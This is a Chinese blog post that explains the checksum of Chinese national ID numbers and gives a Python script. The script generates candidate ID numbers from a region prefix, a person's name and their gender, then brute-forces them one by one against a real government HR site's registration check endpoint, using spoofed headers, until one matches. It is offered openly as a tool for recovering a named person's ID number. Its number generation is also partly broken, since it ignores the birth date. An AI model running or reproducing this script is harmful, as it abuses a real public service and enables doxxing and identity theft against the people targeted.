身份证爆破与验证

原理

  • 身份证 前六位是行政区划代码(可知道ip和地址后查询到前六位),后八位为出生日期和生日三位顺序码 17位奇数男性偶数女性(这个很简单)最后一位为校验码
  • 校验码是通过身份证前17位 计算出来的 计算方法是 将身份证前17为数字分别乘以不同系数 从第1-17位×7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4然后将这些17为数字和系数相乘的结果相加在加过的结果后除以11 得到余数 而这个 余数 和 一串数字 有一定的对应关系
  • 对应如下 01102X39485766758493102 如果余数是2的话校验码就是X 余数是10那就是2

开始写代码

  • 代码中是根据输入的信息计算出 所有可能的身份证号 将这些身份证号组成一个列表 然后依次 请求验证
import random import requests import asyncio import aiohttp # 获取用户输入 idcard_prefix = input("身份证前6位") name = input("名字") gender = input("性别") # 计算第十八位 def calculate_check_digit(id17): """ 计算并返回17位身份证号码的校验位。 参数: id17 (str): 17位身份证号码。 返回: str: 第18位校验位。 """ # 系数数组 coefficients = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] # 校验码数组 check_digits = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] # 计算加权和 sum_of_products = sum(int(id17[i]) * coefficients[i] for i in range(17)) # 计算余数 remainder = sum_of_products % 11 # 返回校验码 return check_digits[remainder] # 确定第15位数字,根据性别 if gender.lower() == "男": idcard_15th = [str(number) for number in range(10) if number % 2 != 0] elif gender.lower() == "女": idcard_15th = [str(number) for number in range(10) if number % 2 == 0] else: print("性别输入错误,请输入'男'或'女'") exit() # 生成15位身份证号列表 idcard15_list = [idcard_prefix + str(idcard_15th) for idcard_15th in idcard_15th] idcard_1617 = [idcard + f'{i:02d}' for idcard in idcard15_list for i in range(0, 99)] # 为每个17位号码计算并添加校验位 generated_idcards = [idcard + calculate_check_digit(idcard) for idcard in idcard_1617] id_card_list = [{"id_card": idcard + calculate_check_digit(idcard)} for idcard in idcard_1617] # 异步验证身份证号码是否有效 async def validate_id_card(id_card, fixed_name): """ 异步验证身份证号码是否有效。 参数: id_card (str): 身份证号码。 fixed_name (str): 姓名。 返回: bool: 身份证验证结果,True为验证通过,False为未通过。 """ headers = { 'Host': 'www.renshenet.org.cn', 'Accept': 'application/json, text/plain, */*', 'Sec-Fetch-Site': 'same-origin', 'depCode': '0004', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', 'Accept-Encoding': 'gzip, deflate, br', 'Sec-Fetch-Mode': 'cors', 'Content-Type': 'application/json;charset=UTF-8', 'Origin': 'https://www.renshenet.org.cn', 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1', 'Referer': 'https://www.renshenet.org.cn/jxzhrsdist/index.html', 'Content-Length': '47', 'Connection': 'keep-alive', 'Sec-Fetch-Dest': 'empty' } data = { "idcard": id_card, "name": fixed_name } try: response = requests.post('https://www.renshenet.org.cn/mobile/person/register/checkidcard', headers=headers, json=data) response.raise_for_status() result = response.json().get("data", {}).get("isSucces") if result: print(f"身份证号码 {id_card} ✅验证通过") return True else: return False except requests.exceptions.RequestException as e: print(f"请求错误: {e}") return False # 异步验证多个身份证号码 async def validate_id_cards(id_card_list, fixed_name): for user in id_card_list: result = await validate_id_card(user['id_card'], fixed_name) if result: return asyncio.run(validate_id_cards(id_card_list, name))

github 项目地址 地址
觉得可以的话 希望能给个点赞 给项目个 star


__EOF__

本文作者ZapcoMan
本文链接https://www.cnblogs.com/ZapcoMan/p/18456068.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   ZapcoMan  阅读(202)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效
点击右上角即可分享
微信分享提示